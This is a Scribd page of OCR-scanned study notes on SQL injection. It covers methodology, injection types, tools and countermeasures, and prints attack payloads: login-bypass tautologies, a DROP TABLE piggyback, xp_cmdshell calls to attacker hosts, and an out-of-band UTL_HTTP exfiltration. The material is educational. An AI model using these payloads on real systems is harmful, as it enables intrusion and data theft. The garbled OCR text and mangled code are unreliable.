Scribd
Upload
7 views10 pages

14 - SQL Injection

ctto

Uploaded by

Zoey Zungit
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF or read online on Scribd
7 views10 pages

14 - SQL Injection

ctto

Uploaded by

Zoey Zungit
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF or read online on Scribd
SQL injection overview * Also known as SQLI ‘Injecting malicious SQL queries into the application. * Allows attacker to © Gain unauthorized access to system e.g. logging in without credentials © Retrieve, modify or delete the information stored in the database Eg. inserting new users, updating passwords © Execute code remotely + Exploits improper input validation in web applications A code injection technique. @ Can test on admin panels e.g. to find using google dorks inurT:[Link], ‘inurl :admin/[Link], inurl:[Link] B Simple and quick way to test for SQL injection vulnerability is to insert a single quote") © You can add other SQL code after that once vulnerability is verified. SQL definition © Structured Query Language * Lets you access and manipulate databases ‘+ SQL can be used to query both relational and non-relational databases. © However SQL database usually means relational database. Testing SQL injection Black box testing ‘Also known as blackbox testing or black-box testing * Source code is not known to the tester * Detect places where input is not sanitized Funct n testing ‘+ Output is compared to expected results + Eg, setting 74d=) query parameter to ‘I"/then to '1"/ then to "2" AND "2"="2) Fuzz testing * Also known as fuzzing testing + BF inputting invalid/unexpected or random data and observing the changes in the output * Often automated * Monitors for exceptions such as crashes, failing buil leaks n code assertions, or potential memory * Tools: » WSFuzzer + WebScarab + Burp Suite + AppScang Peach Fuzzer White box testing * Also known as whitebox testing or white-box testing. + Analyzing application source code. © Static code analysis © Detect on source code * Dynamic code analysis © Analyze during execution of the code # Tools include: + Veracode + RIPS + PVS Studio SQL injection methodology 1. Information gathering Eg, database structure, name, version, type. Goal is to identify vulnerabilities for SQL injection Entry points in application tested to inject queries, e.g. invalidated input fields. Exror messages can reveal information about the database type and version. 2. SQL injection © Attacks to extract information from database such as name, column names, and records. © Canalso insert or update certain information in the database. Eg. modifying password of an existing user or inserting himself as new user to gain access. 3. Advanced SQI © Goal is to compromise underlying OS and network ijection © Techniques include Interacting with file system Eg. in MySQL: LOAD_FtLE® to read and OUTFILE() to write ® Collect network information = Eg. reverse DNS: exec master. .XpendsheT "nslookup [Link] MyP" = Eg reverse pings: "; exec master..xp_cndshel ‘ping [Link]" ~ e Executing commands that call OS functions at ru = Eg. in MySQL: CREATE FUNCTION SyS_exec RETURNS int SONANE "Vibudffogj 411" Creating backdoor to use execute commands using a remote shell = Eg. SELECT ‘= 5.0.12 AND time-based blind ‘injectable = GET parameter id is ‘Generic UNION query (NULL) - 1 to 20 columns’ injectable = =tables) parameters lists tables from given tabase name.. 1 -T =columns|gives column names = © ~dump) to get columns © Canalso crack hashes (not as fast as hashcat) * {SQL injection * Older tools: © SOL Power injector © The Mole © OWASP SQLIX tool * Mobile tools © sgimapchik for Android - GUI for sqimap © Andro Hackbar for Android See also SQI injection detection tools SQL injection countermeasures © Weakness: The database server runs OS commands © Run database with minimal rights © Disable OS commands like xp_cndshe11 (for shell access) = Invoking xpendshe11) spawns a Windows command shell with input string passed to it for execution Providing local system level access to the server. ‘+ Weakness: Using privileged account to connect to the database © Monitor DB traffic using an IDS © Apply least privilege rule for accounts/applications that access databases + Weakness: Error message revealing important information © Suppress all error messages © Use custom error messages ‘+ Weakness: No data validation at the server © Filter and sanitize al client data © Size and data type checks protects against buffer overruns © Eg. // vulnerable code: var conmand = new Sqicommand("SELECT * FROM table WHERE nane = [Link], connection); 11 Safe cod var conmand = new Sqicomand("SELECT * FROM table WHERE nane = Gname ", connection) ; [Link]("@nane", [Link], 20).Value [Link]; + * Weakness: Implementing consistent coding standards © Server-side input validation, data access abstraction layer, custom error messages. ‘* Weakness: Firewalling the SQL Server © Allow only access from web server and administrators SQL injection detection tools © Commercial scanners © BT Burp suite © IBM Security AppScan © Acunetix Vulnerability Scanner + Open source scanners © waaf © Wapiti © Zeus-Scanner © RED HAWK + Snort - Open Intrusion Prevention System (IPS) SQL injection types © Types include © In-band SQL injection © Blind SQ1 injection © Qut-of-band SQL injection * Other classifications sometimes include © Database management system-specific SQL injection = Using specific SQL statements to certain database engine. © Compounded QL injection Combining SQL injection with other web application attacks such as 80" insufficient authentication 80 DDoS attacks 40° DNS hijacking 20" XSS. = Eg, DDoSing through [Link] tecture. io/azure?id=2 and WATTFOR DELAY *0:0:50" © Second-order SQL injection = When user-supplied data is stored by the application and later incorporated into SQL queries in an unsafe way. = Eg, during login user name and password is retrieved as WHERE username=""Susernane” and password="Spassword" , one could then set a password as "); drop table users; to delete the table and it will only executed during user login. In-band SQL injection * Also known as al” classic SQL injection 411 in-band SQLi al” classic SQLi. ‘+ Attacker uses one channel to inject malicious queries and retrieve results. Error-based SQL injection + Causing database to throw errors and in such a way to identify the vulnerabilities * One of the most common injections * Examples © Through parameter tampering in GET/POST requests = Eg. adding 40, in the end: [Link] php? cat=140, = Shows error: Error: check the manual that corresponds to your Mysql. server version. Invalid syntax"? at Tine 1 warnin nysql_fetch_array() expects parameter 1 to be resource, boolean given ‘im /nj/var/mww/[Link] on Tine 74 * Reveals file names, database type etc. = Canuse eg, Burp Suite © Converting anything to integer: or I=convertCint, (select * from tablename)) = syntax error converting the nvarchar value '' System stored procedure * Stored procedure: Precomplled function-like SQL statements supported by many DBMS. * Injecting malicious queries into stored procedures * Eg, @vname is vulnerable to injection in following procedure: CREATE PROCEDURE getDescription @vname VARCHAR(SO) ra EXEC('SELECT description FROM products WHERE name = '''+@vnames '''') RETURN Illegal/Logically incorrect query * Goal is to gather information about the type and structure of the back-end database. * Considered as a preliminary step for further attacks. * Attacker takes advantage of error messages sent by the database on incorrect queries, + Often exposes the names of tables and columns, + Eg, SELECT*FROM table_naneWHERE id=@id” (missing whitespaces) would cause incorrect syntax error. UNION SQL injection + 6000 Using the UNZON’ operator to inject a malicious query. * Allows appending results to the original query. * Eg, SELECT a, b FROM tablel UNION SELECT c, d FROM table2 Tautology '* Manipulating the WHERE operator in the query to always have a true value ‘+ GUUD Utilizes oR operator e.g. by appending oR 1 = * Eg, select * from user_details where userid = ‘abcd" and password = ‘anything’ or store © a0 In logic, a tautology is a formula which is true in every possible interpretation © Eg. either it will ain tomorrow, or it won't rain Comment SQL injection End-of e comment ‘+ Also known as ail terminating query 40” single-line comment ai *end-of-line comment 0A end of line comment. + A000 Usually done by adding = at the end of the injected query © = (two dashes): comment out the rest so SQL engine ignores the rest of the query * Eg, by appending " or 1 = 1 ~ in the end of the query would ignore the password check © select * from users where nane="injection starts here’ or 1. passwords" pwd” © Basically tells the server if 1 = 1 (always true) to allow the login. © Double dash (--) tells the server to ignore the rest of the query Inline comments * Using C-style comments to eliminate a part of the query. ‘+ Requires attacker having a good idea of how the input is integrated, + eg. © Queryis $sql = "INSERT INTO menbers (username, isadmin, password) VALUES -Susername."', 0, '".Spassword."')" © Attackers input include username and password © Attacker enters following values to avoid password check: = attacker’, 1, /* = 47" pwd © Itthen generate: INSERT INTO menbers (username, isadmin, password) VALUES C‘attacker", 7,0, **/" pwd") Piggyback query © Also known as a” piggybacked query all” piggy-backed query {" statement injection * Appending malicious query to the end of the original one. © Common way is to append the query delimiter (0.0) © Eg. normal SQ statement + ";" + INSERT (or UPDATE, DELETE, DROP) Blind SQL injection * Also known as a0°A blind SQLi 40” inferential SQL injection a0) SQL injection a0” inference SQLi ‘© Attacker is unable to see the direct results of the injected queries © instead attacker observes web applications response and behavior. * As database does not output data to the web page, an attacker is forced to steal data by asking the database a series of true or false questions. * Allows remote database fingerprinting to e.g. know which type of database isin use * Can be automated using eg © Absinthe :: Automated Blind SQL Injection © SQLBrute, multi threaded blind SQL injection bruteforcer in Python © bsalbf, a blind SQL injection tool in Perl Boolean-based blind SQL * Aliso called content-based blind SQL + Attacker forms queries to return true or false * Depends on changing HTTP results depending on SQL results for each condition, * Allows enumerating the database character by character (slow) eg © URL: hetp://nenspaper .com/items. php? ide2 Query in back-end: SELECT title, description, body FROM items WHERE 1D = 2 and 1=2 to make it return (false © Attacker sends [Link] tems php? © Attacker inspects if application shows a page or with which status code Time-based SQL injection ime delay SQL injection a()" double blind SQL injection aU” 2blind SQL * Also called a injection + GUI00 Using time delay to evaluate the result (true or false) of the malicious query + Allows for testing of existing vulnerabilities. ‘+ Uses commands like waitfor, sleep, benchmark © Helps with database fingerprinting as MySQL, MSSQL, and Oracle have different functions, to get current time. © Eg, [Link] php? d= * Allows enumerating each character (very slow) * waitfor delay 00:00:10" © Eg. if database name starts with A, wait 10 seconds © Can use character comparison, regex or (LIKE) in Microsoft SQL. ‘+ Time consuming, but there are automated tools such as ‘salman Heavy query + Injecting queries that takes time to test * Useful when time functions such as waitfor are disabled by administrator © Eg. SELECT count(*) FROM information_schena.columns A, information_schema.colunns, 8, information_schena. columns ¢ © Can inject something like: 1 AND 1>(SELECT count(*) FROM information_schema, columns A, information [Link] 8, information_schema.columns C) Out-of-band SQL injection ‘+ Also known as 81" OOB injection al” 008 SQLi ‘+ Exhilarate data through outbound channel © Eg. e-mail sending or file writing/reading functionalities © Difficult as it depends on target having ‘© Supported databases that can initiate outbound DNS or HTTP requests © Lack of input validation © Network access to the database server © Privileges execute the necessary function © Eg, |JUTLHTTP. request (*hetp://[Link]/"| | (SELECT user FROM users))

You might also like